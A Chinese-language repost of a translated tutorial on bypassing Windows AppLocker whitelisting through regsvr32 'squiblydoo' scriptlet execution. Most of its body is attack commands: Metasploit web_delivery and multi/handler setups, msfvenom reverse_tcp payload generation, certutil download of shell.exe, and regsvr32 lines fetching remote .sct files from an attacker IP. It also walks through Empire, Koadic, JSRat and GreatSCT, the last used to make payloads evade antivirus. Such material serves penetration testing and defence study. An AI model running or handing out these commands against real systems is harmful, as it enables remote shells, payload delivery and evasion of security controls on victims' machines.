记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

通过regsrv32.exe绕过Applocker应用程序白名单的多种方法

2019-04-30 12:25

在大型组织的安全领域中,AppLocker正在扮演越来越重要的角色。应用AppLocker规则可以显著降低企业的安全风险,AppLocker规则可以应用于目标应用,这些规则也是构成AppLocker策略的基本组件。

AppLocker规则介绍

规则集合(Rule Collection)

AppLocker控制台以规则集合作为组织单元,这些集合包括可执行文件、脚本、Windows安装文件、封装的应用和应用安装包以及DLL文件。这些规则可以让我们轻松区分开不同类型的应用。

规则条件(Rule Condition)

规则条件可以帮助AppLocker识别哪些应用对应哪些规则。三个主要的规则条件分别为应用发布者、路径以及文件哈希。

文件路径条件

以应用在系统中的路径作为识别依据;

文件发布者条件

以应用的属性或者数字签名作为识别依据;

文件哈希条件

以应用的哈希值作为识别依据;

看似这些强大的规则让黑客攻击无处遁形,但不幸的是,对于防御者来说,除了默认规则以外,AppLocker还涉及到许多自定义配置,而黑客正是利用这些配置作为突破口的。本文将介绍通过 regsrv32.exe绕过Applocker应用程序白名单的多种方法。

Regsvr32介绍

Regsvr32全称是Microsoft Register Server。它是windows的命令行实用工具。虽然regsvr32有时会引起一些莫名其妙的问题,但作为Windows系统文件,它仍是一个重要的文件。该文件位于C:\Windows的子文件夹中,该文件能够观察、跟踪和影响其他程序。由于它是.exe格式,所以主要被用于在Windows文件扩展名中注册和注销程序,它的进程可以广泛地协助OLE(对象链接和嵌入),DLL(数据链接库)和OCX(ActiveX控件模块)。上述流程在后台工作,可以通过任务管理器查看。终止,它是微软最受信任的文件之一。

regsvr32工作原理

当你在regsvr32中注册DLL文件时,与regsvr32关联的程序的信息将添加到Windows中。然后访问这些信息,以了解程序数据的位置以及如何与程序数据进行交互。在注册DLL文件时,信息会被添加到目录的中央,以便windows可以使用它。这些文件的整个路径都有可执行代码,由于这些文件,windows可以调用特定的函数。这些文件非常方便,当软件更新时,这些文件会自动调用更新后的版本。简而言之,它有助于避免软件的版本问题。通常,除了注册和注销DLL文件外,通常不使用此文件。

RegSvr32.exe具有以下命令行选项:

语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

· /u:注销服务器;

· /i:调用DllInstall传递一个可选的[cmdline],当它与/u一起使用时,它会调用dll uninstall。

· /n:不要调用DllRegisterServer,此选项必须与/i一起使用

· / s :沉默,不显示消息框;

要了解更多信息,请访问这里

Web传递(Web Delivery) 

此模块会快速启动一个提供有效载荷的web服务器,所提供的命令将允许下载和执行有效载荷。它将通过指定的脚本语言解释器或通过regsvr32.exe的“squiblydoo”来绕过应用程序白名单。该模块的主要目的是当攻击者不得不手动输入命令时,在目标设备上快速建立会话,例如命令注入。

Regsvr32使用“squiblydoo”技术来绕过应用程序白名单,签名的Microsoft二进制文件Regsvr32能够请求.sct文件,然后在其中执行包含的PowerShell命令。两个web请求(即, .sct文件和PowerShell下载或执行)都可以发生在同一个端口上。PSH(Binary)”会将文件写入磁盘,允许自定义二进制文件被下载或执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

一旦使用这些文本开始运行漏洞,你将拥有一个为自定义的URL,就可以在受害者电脑的命令提示符中运行该URL。

regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令执行后按回车键,就将进行会话。输入“sysinfo”以获取目标电脑的信息。

PowerShell Empire

Empire是一款类似Metasploit的渗透测试框架,基于python编写,Empire是一个纯粹的PowerShell后开发代理,建立在密码安全通信和灵活的架构上。Empire实现了无需powershell.exe即可运行PowerShell代理的功能,从键盘记录器到Mimikatz等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

在PowerShell Empire方法中,我们必须将.sct tacks与Metasploit配对,但是在这种方法中,我们将使用Empire框架。它完全基于python的PowerShell windows代理,这使得它非常有用。

如下所示,启动Empire框架后,输入listener命令,以检查是否存在反侦查进程。

uselistner http
set Host //192.168.1.109
execute

使用上述命令,你将拥有一个反侦查进程。输入back命令,就可以退出反侦查进程,以便启动PowerShell。

一旦你退出listener命令,就需要使用一个漏洞来创建恶意文件。在Empire中,stage代表一段代码,它允许我们的恶意代码通过受感染的主机上的代理运行。这意味着要创建一个漏洞,我们将不得不通过usestager。命令如下:

usestager windows/launcher_sct
set listener http
execute

执行命令后,usestager将在/ tmp中创建一个launcher.sct。现在要获得会话,就必须通过输入以下内容来启动python服务器:

python -m SimpleHTTPServer 8080

当服务器启动时,剩下的唯一步骤就是在受害者的电脑中执行我们的恶意软件。此时,就要在命令提示符中输入以下命令:

regsvr / s / n / u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

在上面的命令中,我们使用了端口8080,这是因为我们的python服务器在同一个端口上被激活。

执行上述操作后,你将收到一个会话:

interact 9ATUX4M7

9ATUX4M7只是一个代理或会话名称,这将因会话内容而异。

在sct文件中注入PowerShell代码(手动方法)

该方法必须利用一个漏洞才能实现,使用的漏洞会帮助我们创建powershell代码,现在就让我们首先创建powershell吧!

运行此漏洞后,将在终端屏幕上显示powershell代码,如下所示:

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

由于Regsvr32是一个命令行实用程序,用于注册和注销OLE控件,比如Windows注册表中的dll和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\ System32文件夹中。

现在我们需要创建一个.sct文件,以便我们的攻击能够运行。为此,我们在网上找到了一个脚本来创建.sct文件。

复制由web_delivery创建的PowerShell代码并将其粘贴到上面的脚本中,其中显示“calc.exe”,最后使用.sct扩展名保存。

然后像之前一样,运行以下命令,在受害者的电脑上用regsvr32.exe执行.sct文件:

regsvr32 / u / n / s /i://192.168.1.109/1.sct scrobj.dll

执行上述命令后,你将通过web_delivery进行会话。我们要访问会话类型“sessions 1”和“info”才能获取有关系统的基本信息。

MsfVenom

现在,我们讲的是使用msfvenom。Msfvenom是Metasploit的命令行实例,用于生成和输出Metasploit中提供的所有各种类型的shellcode。通过这种方法,我们将创建两个.sct文件,一个用于下载我们的恶意软件,另一个用于执行它。首先,让我们输入以下msfvenom命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

然后,使用以下命令启动python服务器。

python -m SimpleHTTPServer 80

同时,在前一个方法中使用的同一脚本中,我们是通过注入certutil.exe命令以从远程服务器调用shell.exe文件。因此,使用 “calc .exe”编写以下脚本并使用.sct扩展名再次保存文件:

certutil.exe -urlcache -split -f //192.168.1.109/shell.exe

我们在这里使用了certutil,因为它允许在Windows中下载文件并将文件保存为3.sct。

现在,使用以下命令运行上面的脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/3.sct scrobj.dll

此时,我们将创建另一个文件来执行我们以前的文件“shell.exe”。为此,再次使用 “calc .exe”编写脚本:

cmd /k cd c:\Users\raj & shell.exe

我们已将脚本保存为4.sct,并使用以下命令再次运行此脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/4.sct scrobj.dll

同时,启动多处理程序,以获得会话。输入命令如下所示:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

在受害者的电脑中运行该命令后,就将进行一个meterpreter会话。

什么是Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它会非常困难。

另外,Meterpreter还可以简化任务创建多个会话。

Koadic

koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和其他渗透测试工具,如Meterpreter和Powershell Empire有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持Windows2000到Window 10的环境中使用,Koadic也试图兼容Python 2和Python 3。

要了解更多关于Koadic的信息,请点此链接阅读。

koadic启动并运行后,输入以下命令:

use stager/js/regsvr
set srvhost 192.168.1.107
run

攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成。Stager这种载荷负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。

然后,在受害者电脑的命令提示符中输入以下内容。

regsvr32 / u / n / s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll

运行上述命令后,你将拥有一个会话,内容如下:

zombies 0

JSRat

JSRAT是一个由Python编写的脚本,它可以实现对远程PC的shell管理,下载地址请点此。这是一个非常小的命令和控制框架,就像koadic和Powershell Empire一样,不过它仅为rundll32.exe和regsvr32.exe生成恶意任务。 JSRat创建了一个Web服务器后,在该Web服务器上,我们就可以找到.sct文件。输入命令如下:

./JSRat.py -I 192.168.1.107 -p 4444

运行上述命令后,Web服务器就将启动。

在浏览器中打开它,此时,你将找到需要在受害者的PC上运行的.sct文件。

GreatSCT

借助GreatSCT这样一个工具,我们不仅可以使用me tasploit的漏洞利用代码,并且还能对其进行免杀处理,以绕过大多数防病毒程序。目前,GreatSCT是由@_ConsciousHacker.进行维护的,你可以点此下载。 

下载运行后,输入以下命令以访问模块:

下载并运行该软件后,可以通过以下命令来访问各个功能模块:

use Bypass

21.png

然后输入“list” 命令,以获取模块列表。

22.png

然后,从模块列表中选择以下命令:

use regsvr/shellcode_iject/base64_migrate.py
generate

完成上述命令后,输入1选择MSFVenom。

然后它会询问你的有效载荷,此时,你只需按Enter即可将windows/meterpreter/reverse_tcp作为默认有效载荷,而这就是我们需要的载荷。在像这样提供IP之后,我们已经给出了192.168.1.107和给定的端口,此时,我们将lport命名为2345。

在得到详细信息后,它会询问你恶意软件的名称。默认情况下,设置名称都是“payload”,以便你可以给出名称或只按回车键以进行默认设置。

按回车键后,它将生成两个文件。其中一个将是资源文件,另一个是.sct文件。

现在,先通过输入以下命令启动/usr/share/greatsct-output中的python服务器:

python -m SimpleHTTPServer 80

现在,在受害者设备的运行窗口中执行.sct文件,如下所示。

23.png

同时,使用资源文件启动multi / handler。输入命令如下所示:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

此时,你可以获得了一个Meterpreter会话。

24.png

总结

使用regsvr32获取会话是一种非常复杂且另辟蹊径的方式,因此,上述方法要使用到不同的工具和软件,以允许我们完成此攻击。

本文翻译自:https://www.hackingarticles.in/bypass-application-whitelisting-using-regsrv32-exe-multiple-methods/如若转载,请注明原文地址: http://www.hackdig.com/04/hack-54932.htm
知识来源: https://www.4hou.com/web/17354.html

阅读:370985 | 评论:0 | 标签:Web安全 AppLocker

想收藏或者和大家分享这篇好文章→复制链接地址

“通过regsrv32.exe绕过Applocker应用程序白名单的多种方法”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云